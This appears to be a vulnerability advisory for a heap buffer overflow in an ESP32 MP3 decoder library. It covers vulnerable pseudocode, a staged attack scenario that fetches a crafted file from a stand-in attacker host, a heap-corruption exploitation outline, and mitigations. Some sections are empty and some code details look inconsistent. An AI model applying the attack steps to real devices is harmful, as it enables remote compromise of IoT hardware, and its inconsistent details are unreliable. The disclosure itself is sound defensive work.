CVE-2026-51252: Critical Buffer Overflow in ESP32-audioI2S MP3 Decoder

Executive Summary

A critical heap-based buffer overflow (CVE-2026-51252) has been identified in the schreibfaul1 ESP32-audioI2S Arduino library, a widely used open-source audio decoding library for ESP32 microcontrollers. The vulnerability resides in the MP3Decoder::UnpackSFMPEG1 function, which processes MPEG1 scale-factor side information parsed directly from attacker-controlled MP3 metadata. Due to absent input validation on fields embedded in the MPEG frame side information, a crafted MP3 file can trigger an out-of-bounds heap write, corrupting adjacent memory and — on constrained embedded targets — enabling potential remote code execution.

CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The vulnerability affects all library releases up to and including 3.4.5. Version 3.4.6 (released June 17, 2026) contains the remediated code. Deployments in IoT audio streaming, internet radio players, or smart-home speaker builds that fetch MP3 content from untrusted sources are at greatest risk.

Vulnerability Overview

Affected Versions

The library is distributed via the Arduino Library Manager and PlatformIO Registry. It is also embedded directly in a number of third-party ESP32 audio firmware images and ESPHome forks. Projects that vendor a pinned copy of the library source are not automatically protected by an upstream library update.

Technical Details

Background: MPEG1 Scale-Factor Side Information

MP3 (MPEG-1 Audio Layer III) frames are structured with a frame header, side information block, and main audio data. The side information block contains per-granule, per-channel fields that control how the Huffman-coded audio data is unpacked. Two critical sub-fields — scfsi (scale-factor selector information) and per-band scale-factor lengths (slen1, slen2) — dictate how many bits must be consumed from the bitstream to reconstruct scale factors.

The UnpackSFMPEG1 function in src/mp3_decoder/mp3_decoder.cpp is responsible for reading these scale factors. Its internal loop iterates over scale-factor bands and performs bitstream reads sized according to slen1 and slen2:

// Simplified pseudocode — schreibfaul1/ESP32-audioI2S <= 3.4.5
void MP3Decoder::UnpackSFMPEG1(BitStreamInfo_t *bsi,
                                SideInfoSub_t   *sis,
                                ScaleFactorInfoSub_t *sfis,
                                int scfsi) {
    // slen1 and slen2 are taken directly from the SideInfoSub_t
    // which is populated from the raw bitstream with no range check.
    int slen1 = sis->sfCompress >> 2;  // 0–15, unchecked
    int slen2 = sis->sfCompress & 0x3; // 0–3, unchecked
 
    for (int sfb = 0; sfb < sfBandTotalLong; sfb++) {
        // GetBits writes into sfis->sfbLong[sfb].
        // sfbTotalLong can be inflated by attacker-controlled slen values,
        // causing sfbLong[] to be written past its declared boundary.
        sfis->sfbLong[sfb] = GetBits(bsi, (sfb < 11) ? slen1 : slen2);
    }
}

The sfbLong array has a statically allocated size. When the sfCompress value inside the side information block is manipulated to produce out-of-range slen1/slen2 combinations, or when the function is called with granule parameters that force iteration beyond the array bounds, writes overflow into adjacent heap memory.

Root Cause

The root cause is the direct use of raw bitstream values — parsed from attacker-influenced MP3 metadata — as loop bounds and bit-read widths without any clamping or validation against the expected MPEG1 specification limits. The MPEG1 specification restricts sfCompress to defined tables, but the library performs no such enforcement, trusting the file's declared values unconditionally.

Heap Layout Consequence

On the ESP32, the MP3 decoder allocates its working buffers (ScaleFactorInfo_t, SideInfo_t, Huffman decode scratch) from the heap in a predictable sequence during MP3Decoder::AllocateBuffers(). Overflowing sfbLong[] overwrites the heap metadata or adjacent decode buffers. Because the ESP32 uses a simple TLSF (Two-Level Segregate Fit) heap allocator, heap metadata corruption can be weaponized to redirect subsequent malloc/free operations to attacker-controlled addresses.

Attack Scenario

An attacker can deliver a malicious MP3 file to a vulnerable ESP32 device through any input vector the device is configured to consume:

1. Attacker crafts a malicious MP3 file with tampered MPEG1 side information.
   - sis->sfCompress is set to a value that yields slen1 = 15 (maximum bit-read width).
   - The granule's part2_3_length field inflates the iteration count.
 
2. The MP3 file is served from an attacker-controlled HTTP/HTTPS endpoint,
   or injected into a stream (e.g., internet radio, DLNA/UPnP, MQTT payload,
   SD card image with crafted file).
 
3. The ESP32 device fetches and begins decoding the stream.
   Audio.connecttohost("http://attacker.example/evil.mp3");
 
4. UnpackSFMPEG1 is called during the first granule decode.
   sfbLong[] is written past its allocated boundary.
 
5. Heap memory adjacent to the scale-factor buffer is corrupted.
   On a deterministic heap layout, this corrupts the next free-list
   pointer or a callback function pointer stored in an adjacent struct.
 
6. Subsequent heap operations (e.g., buffer reallocation for the next
   audio frame) trigger use of the corrupted pointer.
 
7. Execution is redirected to attacker-controlled memory or a
   known gadget address (IRAM region on ESP32).

The attack requires no authentication, no user interaction, and only network reachability to the device's audio source — conditions met by any device configured to stream internet radio or fetch audio from a URL.

Impact

Embedded devices running this library tend to operate with no runtime exploit mitigations (no ASLR, no stack canaries, minimal heap hardening), making reliable exploitation more achievable than on a hardened desktop OS target.

Remediation

Primary Fix: Update the Library

Input Validation Guidance (Defense-in-Depth)

For projects that cannot immediately update, apply the following mitigations in the application layer:

// Validate sfCompress before passing to the decoder (application-layer guard).
// MPEG1 valid sfCompress range: 0–31 per ISO 11172-3 Table B.8.
// Reject frames with values outside the expected range.
 
if (sis.sfCompress > 31) {
    log_e("Invalid sfCompress value — rejecting frame");
    return ERR_MP3_INVALID_FRAMEHEADER;
}
 
// Restrict audio sources to trusted, allowlisted URLs.
// Use HTTPS with certificate validation for all remote streams.
// Never load MP3 content from user-supplied or third-party URLs without validation.

Additional Hardening Recommendations

1. Allowlist audio sources — restrict connecttohost() calls to known-good HTTPS endpoints with pinned certificates.
2. Enable ESP-IDF heap poisoning — set CONFIG_HEAP_POISONING_COMPREHENSIVE=y in sdkconfig to detect heap corruption earlier (development builds).
3. Segment network access — place ESP32 IoT audio devices on an isolated VLAN with no inbound connections from untrusted networks.
4. Monitor for device reboots — unexpected resets (Guru Meditation errors) from production devices are a strong indicator of exploitation attempts.
5. OTA update infrastructure — ensure all deployed devices have a working OTA update path so security patches can be delivered rapidly.

Detection Indicators

References

• NIST NVD — CVE-2026-51252
• schreibfaul1/ESP32-audioI2S — GitHub Repository
• ESP32-audioI2S Releases
• MP3 Decoder Source — mp3_decoder.cpp
• ISO 11172-3: MPEG-1 Audio Standard
• PlatformIO Registry — ESP32-audioI2S